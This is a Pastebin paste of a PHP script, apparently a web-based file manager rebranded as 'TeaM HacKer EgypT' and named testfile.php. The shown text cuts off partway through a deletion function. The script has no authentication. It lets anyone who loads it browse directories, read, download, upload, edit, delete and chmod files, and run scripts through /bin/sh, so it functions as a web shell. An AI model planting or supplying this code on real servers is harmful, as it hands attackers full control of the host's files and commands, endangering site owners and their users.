SHARE
TWEET

Untitled

a guest Oct 4th, 2017 174 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. application/x-httpd-php testfile.php ( PHP script, UTF-8 Unicode text )
  2.  
  3. <?php
  4. /*
  5.  * TeaM HacKer EgypT - a simple Web-based file manager
  6.  * Copyright (C) 2004  TeaM HacKer EgypT <I0X0@HOTMAIL.COM>
  7.  *
  8.  * This program is free software; you can redistribute it and/or modify
  9.  * it under the terms of the GNU General Public License as published by
  10.  * the Free Software Foundation; either version 2 of the License, or
  11.  * (at your option) any later version.
  12.  *
  13.  * This program is distributed in the hope that it will be useful,
  14.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  15.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  16.  * GNU General Public License for more details.
  17.  *
  18.  * You should have received a copy of the GNU General Public License
  19.  * along with this program; if not, write to the Free Software
  20.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  21.  *
  22.  * -------------------------------------------------------------------------
  23.  * While using this script, do NOT navigate with your browser's back and
  24.  * forward buttons! Always open files in a new browser tab!
  25.  * -------------------------------------------------------------------------
  26.  *
  27.  * This is Version 0.9, revision 9
  28.  * =========================================================================
  29.  *
  30.  * Changes of revision 9
  31.  * <I0X0@HOTMAIL.COM>
  32.  *    added workaround for directory listing, if lstat() is disabled
  33.  *    fixed permisson of uploaded files (thanks to Stephan Duffner)
  34.  *
  35.  * Changes of revision 8
  36.  * <okankan@stud.sdu.edu.tr>
  37.  *    added Turkish translation
  38.  * <j@kub.cz>
  39.  *    added Czech translation
  40.  * <I0X0@HOTMAIL.COM>
  41.  *    improved charset handling
  42.  *
  43.  * Changes of revision 7
  44.  * <szuniga@vtr.net>
  45.  *    added Spanish translation
  46.  * <lars@soelgaard.net>
  47.  *    added Danish translation
  48.  * <I0X0@HOTMAIL.COM>
  49.  *    improved rename dialog
  50.  *
  51.  * Changes of revision 6
  52.  * <nederkoorn@tiscali.nl>
  53.  *    added Dutch translation
  54.  *
  55.  * Changes of revision 5
  56.  * <I0X0@HOTMAIL.COM>
  57.  *    added language auto select
  58.  *    fixed symlinks in directory listing
  59.  *    removed word-wrap in edit textarea
  60.  *
  61.  * Changes of revision 4
  62.  * <daloan@guideo.fr>
  63.  *    added French translation
  64.  * <anders@wiik.cc>
  65.  *    added Swedish translation
  66.  *
  67.  * Changes of revision 3
  68.  * <nzunta@gabriele-erba.it>
  69.  *    improved Italian translation
  70.  *
  71.  * Changes of revision 2
  72.  * <I0X0@HOTMAIL.COM>
  73.  *    got images work in some old browsers
  74.  *    fixed creation of directories
  75.  *    fixed files deletion
  76.  *    improved path handling
  77.  *    added missing word 'not_created'
  78.  * <till@tuxen.de>
  79.  *    improved human readability of file sizes
  80.  * <nzunta@gabriele-erba.it>
  81.  *    added Italian translation
  82.  *
  83.  * Changes of revision 1
  84.  * <I0X0@HOTMAIL.COM>
  85.  *    TeaM HacKer EgypT completely rewritten:
  86.  *    - clean XHTML/CSS output
  87.  *    - several files selectable
  88.  *    - support for windows servers
  89.  *    - no more treeview, because
  90.  *      - TeaM HacKer EgypT is a >simple< file manager
  91.  *      - performance problems (too much additional code)
  92.  *      - I don't like: frames, java-script, to reload after every treeview-click
  93.  *    - execution of shell scripts
  94.  *    - introduced revision numbers
  95.  *
  96. /* ------------------------------------------------------------------------- */
  97.  
  98. /* Your language:
  99.  * 'en' - English
  100.  * 'de' - German
  101.  * 'fr' - French
  102.  * 'it' - Italian
  103.  * 'nl' - Dutch
  104.  * 'se' - Swedish
  105.  * 'sp' - Spanish
  106.  * 'dk' - Danish
  107.  * 'tr' - Turkish
  108.  * 'cs' - Czech
  109.  * 'auto' - autoselect
  110.  */
  111. $lang = 'auto';
  112.  
  113. /* Charset of output:
  114.  * possible values are described in the charset table at
  115.  * http://www.php.net/manual/en/function.htmlentities.php
  116.  * 'auto' - use the same charset as the words of my language are encoded
  117.  */
  118. $site_charset = 'auto';
  119.  
  120. /* Homedir:
  121.  * For example: './' - the script's directory
  122.  */
  123. $homedir = './';
  124.  
  125. /* Size of the edit textarea
  126.  */
  127. $editcols = 80;
  128. $editrows = 25;
  129.  
  130. /* -------------------------------------------
  131.  * Optional configuration (remove # to enable)
  132.  */
  133.  
  134. /* Permission of created directories:
  135.  * For example: 0705 would be 'drwx---r-x'.
  136.  */
  137. # $dirpermission = 0705;
  138.  
  139. /* Permission of created files:
  140.  * For example: 0604 would be '-rw----r--'.
  141.  */
  142. # $filepermission = 0604;
  143.  
  144. /* Filenames related to the apache web server:
  145.  */
  146. $htaccess = '.htaccess';
  147. $htpasswd = '.htpasswd';
  148.  
  149. /* ------------------------------------------------------------------------- */
  150.  
  151. if (get_magic_quotes_gpc()) {
  152.     array_walk($_GET, 'strip');
  153.     array_walk($_POST, 'strip');
  154.     array_walk($_REQUEST, 'strip');
  155. }
  156.  
  157. if (array_key_exists('image', $_GET)) {
  158.     header('Content-Type: image/gif');
  159.     die(getimage($_GET['image']));
  160. }
  161.  
  162. if (!function_exists('lstat')) {
  163.     function lstat ($filename) {
  164.         return stat($filename);
  165.     }
  166. }
  167.  
  168. $delim = DIRECTORY_SEPARATOR;
  169.  
  170. if (function_exists('php_uname')) {
  171.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  172. } else {
  173.     $win = ($delim == '\\') ? true : false;
  174. }
  175.  
  176. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  177.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  178. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  179.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  180. } elseif (function_exists('getcwd')) {
  181.     $scriptdir = getcwd();
  182. } else {
  183.     $scriptdir = '.';
  184. }
  185. $homedir = relative2absolute($homedir, $scriptdir);
  186.  
  187. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  188.  
  189. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  190.     $dir = relative2absolute($dir, $_POST['olddir']);
  191. }
  192.  
  193. $directory = simplify_path(addslash($dir));
  194.  
  195. $files = array();
  196. $action = '';
  197. if (!empty($_POST['submit_all'])) {
  198.     $action = $_POST['action_all'];
  199.     for ($i = 0; $i < $_POST['num']; $i++) {
  200.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  201.             $files[] = $_POST["file$i"];
  202.         }
  203.     }
  204. } elseif (!empty($_REQUEST['action'])) {
  205.     $action = $_REQUEST['action'];
  206.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  207. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  208.     $files[] = $_FILES['upload'];
  209.     $action = 'upload';
  210. } elseif (array_key_exists('num', $_POST)) {
  211.     for ($i = 0; $i < $_POST['num']; $i++) {
  212.         if (array_key_exists("submit$i", $_POST)) break;
  213.     }
  214.     if ($i < $_POST['num']) {
  215.         $action = $_POST["action$i"];
  216.         $files[] = $_POST["file$i"];
  217.     }
  218. }
  219. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  220.     $files[] = relative2absolute($_POST['create_name'], $directory);
  221.     switch ($_POST['create_type']) {
  222.     case 'directory':
  223.         $action = 'create_directory';
  224.         break;
  225.     case 'file':
  226.         $action = 'create_file';
  227.     }
  228. }
  229. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  230.  
  231. if ($lang == 'auto') {
  232.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  233.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  234.     } else {
  235.         $lang = 'en';
  236.     }
  237. }
  238.  
  239. $words = getwords($lang);
  240.  
  241. if ($site_charset == 'auto') {
  242.     $site_charset = $word_charset;
  243. }
  244.  
  245. $cols = ($win) ? 4 : 7;
  246.  
  247. if (!isset($dirpermission)) {
  248.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  249. }
  250. if (!isset($filepermission)) {
  251.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  252. }
  253.  
  254. if (!empty($_SERVER['SCRIPT_NAME'])) {
  255.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  256. } elseif (!empty($_SERVER['PHP_SELF'])) {
  257.     $self = html(basename($_SERVER['PHP_SELF']));
  258. } else {
  259.     $self = '';
  260. }
  261.  
  262. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  263.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  264.         $apache = true;
  265.     } else {
  266.         $apache = false;
  267.     }
  268. } else {
  269.     $apache = true;
  270. }
  271.  
  272. switch ($action) {
  273.  
  274. case 'view':
  275.  
  276.     if (is_script($file)) {
  277.  
  278.         /* highlight_file is a mess! */
  279.         ob_start();
  280.         highlight_file($file);
  281.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  282.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  283.         ob_end_clean();
  284.  
  285.         html_header();
  286.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  287.  
  288. <hr />
  289.  
  290. <table>
  291. <tr>
  292. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  293. <pre style="margin-top: 0"><code>';
  294.  
  295.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  296.  
  297.         echo '</code></pre>
  298. </td>
  299. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  300. <pre style="margin-top: 0">' . $src . '</pre>
  301. </td>
  302. </tr>
  303. </table>
  304.  
  305. ';
  306.  
  307.         html_footer();
  308.  
  309.     } else {
  310.  
  311.         header('Content-Type: ' . getmimetype($file));
  312.         header('Content-Disposition: filename=' . basename($file));
  313.  
  314.         readfile($file);
  315.  
  316.     }
  317.  
  318.     break;
  319.  
  320. case 'download':
  321.  
  322.     header('Pragma: public');
  323.     header('Expires: 0');
  324.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  325.     header('Content-Type: ' . getmimetype($file));
  326.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  327.     header('Content-Length: ' . filesize($file));
  328.  
  329.     readfile($file);
  330.  
  331.     break;
  332.  
  333. case 'upload':
  334.  
  335.     $dest = relative2absolute($file['name'], $directory);
  336.  
  337.     if (@file_exists($dest)) {
  338.         listing_page(error('already_exists', $dest));
  339.     } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
  340.         @chmod($dest, $filepermission);
  341.         listing_page(notice('uploaded', $file['name']));
  342.     } else {
  343.         listing_page(error('not_uploaded', $file['name']));
  344.     }
  345.  
  346.     break;
  347.  
  348. case 'create_directory':
  349.  
  350.     if (@file_exists($file)) {
  351.         listing_page(error('already_exists', $file));
  352.     } else {
  353.         $old = @umask(0777 & ~$dirpermission);
  354.         if (@mkdir($file, $dirpermission)) {
  355.             listing_page(notice('created', $file));
  356.         } else {
  357.             listing_page(error('not_created', $file));
  358.         }
  359.         @umask($old);
  360.     }
  361.  
  362.     break;
  363.  
  364. case 'create_file':
  365.  
  366.     if (@file_exists($file)) {
  367.         listing_page(error('already_exists', $file));
  368.     } else {
  369.         $old = @umask(0777 & ~$filepermission);
  370.         if (@touch($file)) {
  371.             edit($file);
  372.         } else {
  373.             listing_page(error('not_created', $file));
  374.         }
  375.         @umask($old);
  376.     }
  377.  
  378.     break;
  379.  
  380. case 'execute':
  381.  
  382.     chdir(dirname($file));
  383.  
  384.     $output = array();
  385.     $retval = 0;
  386.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  387.  
  388.     $error = ($retval == 0) ? false : true;
  389.  
  390.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  391.  
  392.     if ($error) {
  393.         listing_page(error('not_executed', $file, implode("\n", $output)));
  394.     } else {
  395.         listing_page(notice('executed', $file, implode("\n", $output)));
  396.     }
  397.  
  398.     break;
  399.  
  400. case 'delete':
  401.  
  402.     if (!empty($_POST['no'])) {
  403.         listing_page();
  404.     } elseif (!empty($_POST['yes'])) {
  405.  
  406.         $failure = array();
  407.         $success = array();
  408.  
  409.         foreach ($files as $file) {
  410.             if (del($file)) {
  411.                 $success[] = $file;
  412.             } else {
  413.                 $failure[] = $file;
  414.             }
  415.         }
  416.  
  417.         $message = '';
  418.         if (sizeof($failure) > 0) {
  419.             $message = error('not_deleted', implode("\n", $failure));
  420.         }
  421.         if (sizeof($success) > 0) {
  422.             $message .= notice('deleted', implode("\n", $success));
  423.         }
  424.  
  425.         listing_page($message);
  426.  
  427.     } else {
  428.  
  429.         html_header();
  430.  
  431.         echo '<form action="' . $self . '" method="post">
  432. <table class="dialog">
  433. <tr>
  434. <td class="dialog">
  435. ';
  436.  
  437.         request_dump();
  438.  
  439.         echo "\t<b>" . word('really_delete') . '</b>
  440.     <p>
  441. ';
  442.  
  443.         foreach ($files as $file) {
  444.             echo "\t" . html($file) . "<br />\n";
  445.         }
  446.  
  447.         echo '  </p>
  448.     <hr />
  449.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  450.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  451. </td>
  452. </tr>
  453. </table>
  454. </form>
  455.  
  456. ';
  457.  
  458.         html_footer();
  459.  
  460.     }
  461.  
  462.     break;
  463.  
  464. case 'rename':
  465.  
  466.     if (!empty($_POST['destination'])) {
  467.  
  468.         $dest = relative2absolute($_POST['destination'], $directory);
  469.  
  470.         if (!@file_exists($dest) && @rename($file, $dest)) {
  471.             listing_page(notice('renamed', $file, $dest));
  472.         } else {
  473.             listing_page(error('not_renamed', $file, $dest));
  474.         }
  475.  
  476.     } else {
  477.  
  478.         $name = basename($file);
  479.  
  480.         html_header();
  481.  
  482.         echo '<form action="' . $self . '" method="post">
  483.  
  484. <table class="dialog">
  485. <tr>
  486. <td class="dialog">
  487.     <input type="hidden" name="action" value="rename" />
  488.     <input type="hidden" name="file" value="' . html($file) . '" />
  489.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  490.     <b>' . word('rename_file') . '</b>
  491.     <p>' . html($file) . '</p>
  492.     <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
  493.     <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
  494.     <hr />
  495.     <input type="submit" value="' . word('rename') . '" />
  496. </td>
  497. </tr>
  498. </table>
  499.  
  500. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  501.  
  502. </form>
  503.  
  504. ';
  505.  
  506.         html_footer();
  507.  
  508.     }
  509.  
  510.     break;
  511.  
  512. case 'move':
  513.  
  514.     if (!empty($_POST['destination'])) {
  515.  
  516.         $dest = relative2absolute($_POST['destination'], $directory);
  517.  
  518.         $failure = array();
  519.         $success = array();
  520.  
  521.         foreach ($files as $file) {
  522.             $filename = substr($file, strlen($directory));
  523.             $d = $dest . $filename;
  524.             if (!@file_exists($d) && @rename($file, $d)) {
  525.                 $success[] = $file;
  526.             } else {
  527.                 $failure[] = $file;
  528.             }
  529.         }
  530.  
  531.         $message = '';
  532.         if (sizeof($failure) > 0) {
  533.             $message = error('not_moved', implode("\n", $failure), $dest);
  534.         }
  535.         if (sizeof($success) > 0) {
  536.             $message .= notice('moved', implode("\n", $success), $dest);
  537.         }
  538.  
  539.         listing_page($message);
  540.  
  541.     } else {
  542.  
  543.         html_header();
  544.  
  545.         echo '<form action="' . $self . '" method="post">
  546.  
  547. <table class="dialog">
  548. <tr>
  549. <td class="dialog">
  550. ';
  551.  
  552.         request_dump();
  553.  
  554.         echo "\t<b>" . word('move_files') . '</b>
  555.     <p>
  556. ';
  557.  
  558.         foreach ($files as $file) {
  559.             echo "\t" . html($file) . "<br />\n";
  560.         }
  561.  
  562.         echo '  </p>
  563.     <hr />
  564.     ' . word('destination') . ':
  565.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  566.     <input type="submit" value="' . word('move') . '" />
  567. </td>
  568. </tr>
  569. </table>
  570.  
  571. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  572.  
  573. </form>
  574.  
  575. ';
  576.  
  577.         html_footer();
  578.  
  579.     }
  580.  
  581.     break;
  582.  
  583. case 'copy':
  584.  
  585.     if (!empty($_POST['destination'])) {
  586.  
  587.         $dest = relative2absolute($_POST['destination'], $directory);
  588.  
  589.         if (@is_dir($dest)) {
  590.  
  591.             $failure = array();
  592.             $success = array();
  593.  
  594.             foreach ($files as $file) {
  595.                 $filename = substr($file, strlen($directory));
  596.                 $d = addslash($dest) . $filename;
  597.                 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
  598.                     $success[] = $file;
  599.                 } else {
  600.                     $failure[] = $file;
  601.                 }
  602.             }
  603.  
  604.             $message = '';
  605.             if (sizeof($failure) > 0) {
  606.                 $message = error('not_copied', implode("\n", $failure), $dest);
  607.             }
  608.             if (sizeof($success) > 0) {
  609.                 $message .= notice('copied', implode("\n", $success), $dest);
  610.             }
  611.  
  612.             listing_page($message);
  613.  
  614.         } else {
  615.  
  616.             if (!@file_exists($dest) && @copy($file, $dest)) {
  617.                 listing_page(notice('copied', $file, $dest));
  618.             } else {
  619.                 listing_page(error('not_copied', $file, $dest));
  620.             }
  621.  
  622.         }
  623.  
  624.     } else {
  625.  
  626.         html_header();
  627.  
  628.         echo '<form action="' . $self . '" method="post">
  629.  
  630. <table class="dialog">
  631. <tr>
  632. <td class="dialog">
  633. ';
  634.  
  635.         request_dump();
  636.  
  637.         echo "\n<b>" . word('copy_files') . '</b>
  638.     <p>
  639. ';
  640.  
  641.         foreach ($files as $file) {
  642.             echo "\t" . html($file) . "<br />\n";
  643.         }
  644.  
  645.         echo '  </p>
  646.     <hr />
  647.     ' . word('destination') . ':
  648.     <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  649.     <input type="submit" value="' . word('copy') . '" />
  650. </td>
  651. </tr>
  652. </table>
  653.  
  654. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  655.  
  656. </form>
  657.  
  658. ';
  659.  
  660.         html_footer();
  661.  
  662.     }
  663.  
  664.     break;
  665.  
  666. case 'create_symlink':
  667.  
  668.     if (!empty($_POST['destination'])) {
  669.  
  670.         $dest = relative2absolute($_POST['destination'], $directory);
  671.  
  672.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  673.  
  674.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  675.  
  676.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  677.             listing_page(notice('symlinked', $file, $dest));
  678.         } else {
  679.             listing_page(error('not_symlinked', $file, $dest));
  680.         }
  681.  
  682.     } else {
  683.  
  684.         html_header();
  685.  
  686.         echo '<form action="' . $self . '" method="post">
  687.  
  688. <table class="dialog" id="symlink">
  689. <tr>
  690.     <td style="vertical-align: top">' . word('destination') . ': </td>
  691.     <td>
  692.         <b>' . html($file) . '</b><br />
  693.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  694.         <label for="checkbox_relative">' . word('relative') . '</label>
  695.         <input type="hidden" name="action" value="create_symlink" />
  696.         <input type="hidden" name="file" value="' . html($file) . '" />
  697.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  698.     </td>
  699. </tr>
  700. <tr>
  701.     <td>' . word('symlink') . ': </td>
  702.     <td>
  703.         <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  704.         <input type="submit" value="' . word('create_symlink') . '" />
  705.     </td>
  706. </tr>
  707. </table>
  708.  
  709. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  710.  
  711. </form>
  712.  
  713. ';
  714.  
  715.         html_footer();
  716.  
  717.     }
  718.  
  719.     break;
  720.  
  721. case 'edit':
  722.  
  723.     if (!empty($_POST['save'])) {
  724.  
  725.         $content = str_replace("\r\n", "\n", $_POST['content']);
  726.  
  727.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  728.             listing_page(notice('saved', $file));
  729.         } else {
  730.             listing_page(error('not_saved', $file));
  731.         }
  732.  
  733.     } else {
  734.  
  735.         if (@is_readable($file) && @is_writable($file)) {
  736.             edit($file);
  737.         } else {
  738.             listing_page(error('not_edited', $file));
  739.         }
  740.  
  741.     }
  742.  
  743.     break;
  744.  
  745. case 'permission':
  746.  
  747.     if (!empty($_POST['set'])) {
  748.  
  749.         $mode = 0;
  750.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  751.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  752.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  753.  
  754.         if (@chmod($file, $mode)) {
  755.             listing_page(notice('permission_set', $file, decoct($mode)));
  756.         } else {
  757.             listing_page(error('permission_not_set', $file, decoct($mode)));
  758.         }
  759.  
  760.     } else {
  761.  
  762.         html_header();
  763.  
  764.         $mode = fileperms($file);
  765.  
  766.         echo '<form action="' . $self . '" method="post">
  767.  
  768. <table class="dialog">
  769. <tr>
  770. <td class="dialog">
  771.  
  772.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  773.  
  774.     <hr />
  775.  
  776.     <table id="permission">
  777.     <tr>
  778.         <td></td>
  779.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  780.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  781.         <td>' . word('other') . '</td>
  782.     </tr>
  783.     <tr>
  784.         <td style="text-align: right">' . word('read') . ':</td>
  785.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  786.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  787.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  788.     </tr>
  789.     <tr>
  790.         <td style="text-align: right">' . word('write') . ':</td>
  791.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  792.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  793.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  794.     </tr>
  795.     <tr>
  796.         <td style="text-align: right">' . word('execute') . ':</td>
  797.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  798.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  799.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  800.     </tr>
  801.     </table>
  802.  
  803.     <hr />
  804.  
  805.     <input type="submit" name="set" value="' . word('set') . '" />
  806.  
  807.     <input type="hidden" name="action" value="permission" />
  808.     <input type="hidden" name="file" value="' . html($file) . '" />
  809.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  810.  
  811. </td>
  812. </tr>
  813. </table>
  814.  
  815. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  816.  
  817. </form>
  818.  
  819. ';
  820.  
  821.         html_footer();
  822.  
  823.     }
  824.  
  825.     break;
  826.  
  827. default:
  828.  
  829.     listing_page();
  830.  
  831. }
  832.  
  833. /* ------------------------------------------------------------------------- */
  834.  
  835. function getlist ($directory) {
  836.     global $delim, $win;
  837.  
  838.     if ($d = @opendir($directory)) {
  839.  
  840.         while (($filename = @readdir($d)) !== false) {
  841.  
  842.             $path = $directory . $filename;
  843.  
  844.             if ($stat = @lstat($path)) {
  845.  
  846.                 $file = array(
  847.                     'filename'    => $filename,
  848.                     'path'        => $path,
  849.                     'is_file'     => @is_file($path),
  850.                     'is_dir'      => @is_dir($path),
  851.                     'is_link'     => @is_link($path),
  852.                     'is_readable' => @is_readable($path),
  853.                     'is_writable' => @is_writable($path),
  854.                     'size'        => $stat['size'],
  855.                     'permission'  => $stat['mode'],
  856.                     'owner'       => $stat['uid'],
  857.                     'group'       => $stat['gid'],
  858.                     'mtime'       => @filemtime($path),
  859.                     'atime'       => @fileatime($path),
  860.                     'ctime'       => @filectime($path)
  861.                 );
  862.  
  863.                 if ($file['is_dir']) {
  864.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  865.                 } else {
  866.                     if (!$win) {
  867.                         $file['is_executable'] = @is_executable($path);
  868.                     } else {
  869.                         $file['is_executable'] = true;
  870.                     }
  871.                 }
  872.  
  873.                 if ($file['is_link']) $file['target'] = @readlink($path);
  874.  
  875.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  876.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  877.  
  878.                 $files[] = $file;
  879.  
  880.             }
  881.  
  882.         }
  883.  
  884.         return $files;
  885.  
  886.     } else {
  887.         return false;
  888.     }
  889.  
  890. }
  891.  
  892. function sortlist (&$list, $key, $reverse) {
  893.  
  894.     quicksort($list, 0, sizeof($list) - 1, $key);
  895.  
  896.     if ($reverse) $list = array_reverse($list);
  897.  
  898. }
  899.  
  900. function quicksort (&$array, $first, $last, $key) {
  901.  
  902.     if ($first < $last) {
  903.  
  904.         $cmp = $array[floor(($first + $last) / 2)][$key];
  905.  
  906.         $l = $first;
  907.         $r = $last;
  908.  
  909.         while ($l <= $r) {
  910.  
  911.             while ($array[$l][$key] < $cmp) $l++;
  912.             while ($array[$r][$key] > $cmp) $r--;
  913.  
  914.             if ($l <= $r) {
  915.  
  916.                 $tmp = $array[$l];
  917.                 $array[$l] = $array[$r];
  918.                 $array[$r] = $tmp;
  919.  
  920.                 $l++;
  921.                 $r--;
  922.  
  923.             }
  924.  
  925.         }
  926.  
  927.         quicksort($array, $first, $r, $key);
  928.         quicksort($array, $l, $last, $key);
  929.  
  930.     }
  931.  
  932. }
  933.  
  934. function permission_octal2string ($mode) {
  935.  
  936.     if (($mode & 0xC000) === 0xC000) {
  937.         $type = 's';
  938.     } elseif (($mode & 0xA000) === 0xA000) {
  939.         $type = 'l';
  940.     } elseif (($mode & 0x8000) === 0x8000) {
  941.         $type = '-';
  942.     } elseif (($mode & 0x6000) === 0x6000) {
  943.         $type = 'b';
  944.     } elseif (($mode & 0x4000) === 0x4000) {
  945.         $type = 'd';
  946.     } elseif (($mode & 0x2000) === 0x2000) {
  947.         $type = 'c';
  948.     } elseif (($mode & 0x1000) === 0x1000) {
  949.         $type = 'p';
  950.     } else {
  951.         $type = '?';
  952.     }
  953.  
  954.     $owner  = ($mode & 00400) ? 'r' : '-';
  955.     $owner .= ($mode & 00200) ? 'w' : '-';
  956.     if ($mode & 0x800) {
  957.         $owner .= ($mode & 00100) ? 's' : 'S';
  958.     } else {
  959.         $owner .= ($mode & 00100) ? 'x' : '-';
  960.     }
  961.  
  962.     $group  = ($mode & 00040) ? 'r' : '-';
  963.     $group .= ($mode & 00020) ? 'w' : '-';
  964.     if ($mode & 0x400) {
  965.         $group .= ($mode & 00010) ? 's' : 'S';
  966.     } else {
  967.         $group .= ($mode & 00010) ? 'x' : '-';
  968.     }
  969.  
  970.     $other  = ($mode & 00004) ? 'r' : '-';
  971.     $other .= ($mode & 00002) ? 'w' : '-';
  972.     if ($mode & 0x200) {
  973.         $other .= ($mode & 00001) ? 't' : 'T';
  974.     } else {
  975.         $other .= ($mode & 00001) ? 'x' : '-';
  976.     }
  977.  
  978.     return $type . $owner . $group . $other;
  979.  
  980. }
  981.  
  982. function is_script ($filename) {
  983.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  984. }
  985.  
  986. function getmimetype ($filename) {
  987.     static $mimes = array(
  988.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  989.         '\.gif$'          => 'image/gif',
  990.         '\.png$'          => 'image/png',
  991.         '\.html$|\.html$' => 'text/html',
  992.         '\.txt$|\.asc$'   => 'text/plain',
  993.         '\.xml$|\.xsl$'   => 'application/xml',
  994.         '\.pdf$'          => 'application/pdf'
  995.     );
  996.  
  997.     foreach ($mimes as $regex => $mime) {
  998.         if (eregi($regex, $filename)) return $mime;
  999.     }
  1000.  
  1001.     // return 'application/octet-stream';
  1002.     return 'text/plain';
  1003.  
  1004. }
  1005.  
  1006. function del ($file) {
  1007.     global $delim;
  1008.  
  1009.     if (!@is_link($file) && !file_exists($file)) return false;
  1010.  
  1011.     if (!@is_link($file) && @is_dir($file)) {
  1012.  
  1013.         if ($dir = @opendir($file)) {
  1014.  
  1015.             $error = false;
  1016.  
  1017.             while (($f = readdir($dir)) !== false) {
  1018.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  1019.                     $error = true;
  1020.                 }
  1021.             }
  1022.             closedir($dir);
  1023.  
  1024.             if (!$error) return @rmdir($file);
  1025.  
  1026.             return !$error;
  1027.  
